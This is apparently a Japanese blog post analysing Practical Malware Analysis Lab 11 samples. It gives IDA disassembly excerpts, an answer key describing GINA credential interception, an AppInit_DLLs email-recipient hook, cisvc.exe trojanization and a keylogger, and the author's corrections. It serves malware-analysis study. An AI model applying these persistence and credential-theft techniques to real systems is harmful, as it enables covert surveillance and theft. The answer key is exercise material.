3. How does Lab11-03.exe persistently install Lab11-03.dll?

Windowsサービス cisvcをインストールしてLab11-03.dllのコピー・ファイル C:\WINDOWS\System32\inet_epar32.dllをサービスに登録して永続化させるものと思われる。

4. Which Windows system file does the malware infect?

Lab11-03.exeC:\WINDOWS\System32\cisvc.exeの内容を書き換える。

.text:004012EB 68 9C 91 40 00          push    offset aCisvcExe ; "cisvc.exe"
.text:004012F0 68 84 91 40 00          push    offset aCWindowsSystem_0 ; "C:\\WINDOWS\\System32\\%s"
.text:004012F5 8D 85 FC FE FF FF       lea     eax, [ebp+FileName]
.text:004012FB 50                      push    eax
.text:004012FC E8 51 01 00 00          call    strcat_401452
.text:00401301 83 C4 0C                add     esp, 0Ch
.text:00401304 8D 8D FC FE FF FF       lea     ecx, [ebp+FileName]
.text:0040130A 51                      push    ecx             ; lpFileName C:\\WINDOWS\\System32\\cisvc.exe
.text:0040130B E8 60 FD FF FF          call    ModifyFile_401070

cisvc.exeを改ざんして悪意のあるDLL inet_epar32.dllを読み込ませるものと思われる。(自分の解析環境ではcisvc.exeの空ファイルが作成されるのみで、具体的な改ざん内容は分からなかった。)
cisvc.exeの公式なドキュメントは見つからなかったが、いくつかのサイトで「cisvc.exeはWindows XPやWindows Server 2003のインデックス・サービスに関連するファイル」という記述を見かけた。

5. What does Lab11-03.dll do?

ユーザーの打鍵情報を記録する。ユーザーがどのアプリケーションに対して打鍵したかも併せて記録する。

.text:100014EB                         loc_100014EB:           ; dwMoveMethod
.text:100014EB 6A 02                   push    2
.text:100014ED 6A 00                   push    0               ; lpDistanceToMoveHigh
.text:100014EF 6A 00                   push    0               ; lDistanceToMove
.text:100014F1 8B 85 EC F7 FF FF       mov     eax, [ebp+hFile]
.text:100014F7 50                      push    eax             ; hFile
.text:100014F8 FF 15 0C 70 00 10       call    ds:SetFilePointer
.text:100014FE 8B 8D EC F7 FF FF       mov     ecx, [ebp+hFile]
.text:10001504 89 4D FC                mov     [ebp+var_4], ecx
.text:10001507 8D 95 F0 F7 FF FF       lea     edx, [ebp+var_810]
.text:1000150D 52                      push    edx
.text:1000150E E8 6D FE FF FF          call    Keylog_And_Write_To_File_10001380
.text:10001084 C7 02 00 00 00 00       mov     dword ptr [edx], 0
.text:1000108A 68 00 04 00 00          push    400h            ; nMaxCount
.text:1000108F 8D 85 00 FC FF FF       lea     eax, [ebp+String]
.text:10001095 50                      push    eax             ; lpString
.text:10001096 E8 65 FF FF FF          call    GetForegroundWindowNGetWindowTextA_10001000

6. Where does the malware store the data it collects?

このマルウェアはC:\WINDOWS\System32\kernel64x.dllというファイルに打鍵情報を記録する。

.text:100014BD                         loc_100014BD:           ; hTemplateFile
.text:100014BD 6A 00                   push    0
.text:100014BF 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:100014C4 6A 04                   push    4               ; dwCreationDisposition OPEN_ALWAYS
.text:100014C6 6A 00                   push    0               ; lpSecurityAttributes
.text:100014C8 6A 01                   push    1               ; dwShareMode
.text:100014CA 68 00 00 00 C0          push    0C0000000h      ; dwDesiredAccess
.text:100014CF 68 4C 80 00 10          push    offset FileName ; "C:\\WINDOWS\\System32\\kernel64x.dll"
.text:100014D4 FF 15 10 70 00 10       call    ds:CreateFileA
.text:100014DA 89 85 EC F7 FF FF       mov     [ebp+hFile], eax
.text:100014E0 83 BD EC F7 FF FF 00    cmp     [ebp+hFile], 0
.text:100014E7 75 02                   jnz     short loc_100014EB

模範解答

Lab 11-1
1. The malware extracts and drops the file msgina32.dll onto disk from a resource section named TGAD.

2. The malware installs msgina32.dll as a GINA DLL by adding it to the registry location HKLM\SOFTWARE\Microsoft|Windows NT\CurrentVersion\Winlogon\GinaDLL, which causes the DLL to be loaded after system reboot.

3. The malware steals user credentials by performing GINA interception. The msgina32.dll file is able to intercept all user credentials submitted to the system for authentication.

4. The malware logs stolen credentials to %SystemRoot%\System32\msutil32.sys. The username, domain and password are logged to the file with a timestamp.

5. Once the malware is dropped and installed, there must be a system reboot for the GINA interception to begin. The malware logs credentials only when the user logs out, so log out and back in to see your credentials in the log file.

Lab 11-2
1. Lab11-02.dll contains one export, named installer.

2. If you run the malware from the command line using rundll32.exe Lab11-02.dll,installer, the malware copies itself to the Windows system directory as spoolvxx32.dll and installs itself persistently under AppInit_DLLs.

3. Lab11-02.ini must reside in %SystemRoot%\System32\ in order for the malware to run properly.

4. The malware installs itself in the AppIniti_DLLs registry value, which causes the malware to be loaded into every process that also loads User32.dll.

5. This malware installs an inline hook of the send function.

6. The hook checks if the outgoing packet is an email message containing RCPT TO: and if this string is found, it adds an additional RCPT TO line containing a malicious email account.

7. The malware targets only MSIMN.exe, THEBAT.exe, and OUTLOOK.exe because all are email clients. The malware does not install the hook unless it is running inside one of these processes.

8. The INI file contains an encrypted email address. After decrypting Lab11-02.ini, we see it contains billy@malwareanalysisbook.com.

9. See "Capturing Network Traffic" on page 580 for our method of capturing data using Wireshark, a fake mail server, and Outlook Express.

Lab 11-3
1. Lab11-03.exe contains the strings inet_epar32.dll and net start cisvc, which means that it probably start the CiSvc indexsing service. Lab11-03.dll contains the string C:\Windows\System32\kernel64x.dll and imports the API calls GetAsyncKeyState and GetForegroundWindow, which makes us suspect it is a key logger that logs to kernel64x.dll.

2. The malware starts by copying Lab11-03.dll to inet_epar32.dll in the Windows system directory. The malware writes the data to cisvc.exe and starts the indexing service. The malware also appears to write keystrokes to C:\Windows\System32\\kernel64x.dll.

3. The malware persistently installs Lab11-03.dll by trojanizing the indexing service by entry-point redirection. It redirects the entry point to run shellcode, which loads the DLL.

4. The malware infects cisvc.exe to load inet_epar32.dll and call its export zzz69806582.

5. Lab11-03.dll is a polling keylogger implemented in its export zzz69806582.

6. The malware stores keystrokes and the window into which keystrokes were entered to C:\Windows\System32\\kernel64x.dll.

答え合わせ

Lab 11-1

問5にて「マルウェアのインストール後にシステムに再ログインすれば悪意のあるDLL msgina32.dll がロードされて認証情報がmsutil32.sysに書き込まれる。」と解答したが、模範解答によるとシステムを再起動した上で再ログインする必要があるとの事だった。

Lab 11-3

問4について、模範解答によると、このマルウェアは正規のcisvc.exeのエントリーポイントをシェルコードのアドレスに書き換えることによってcisvc.exeinet_epar32.dllを読み込ませるとのことだった。

Leave a Reply

Your email address will not be published. Required fields are marked *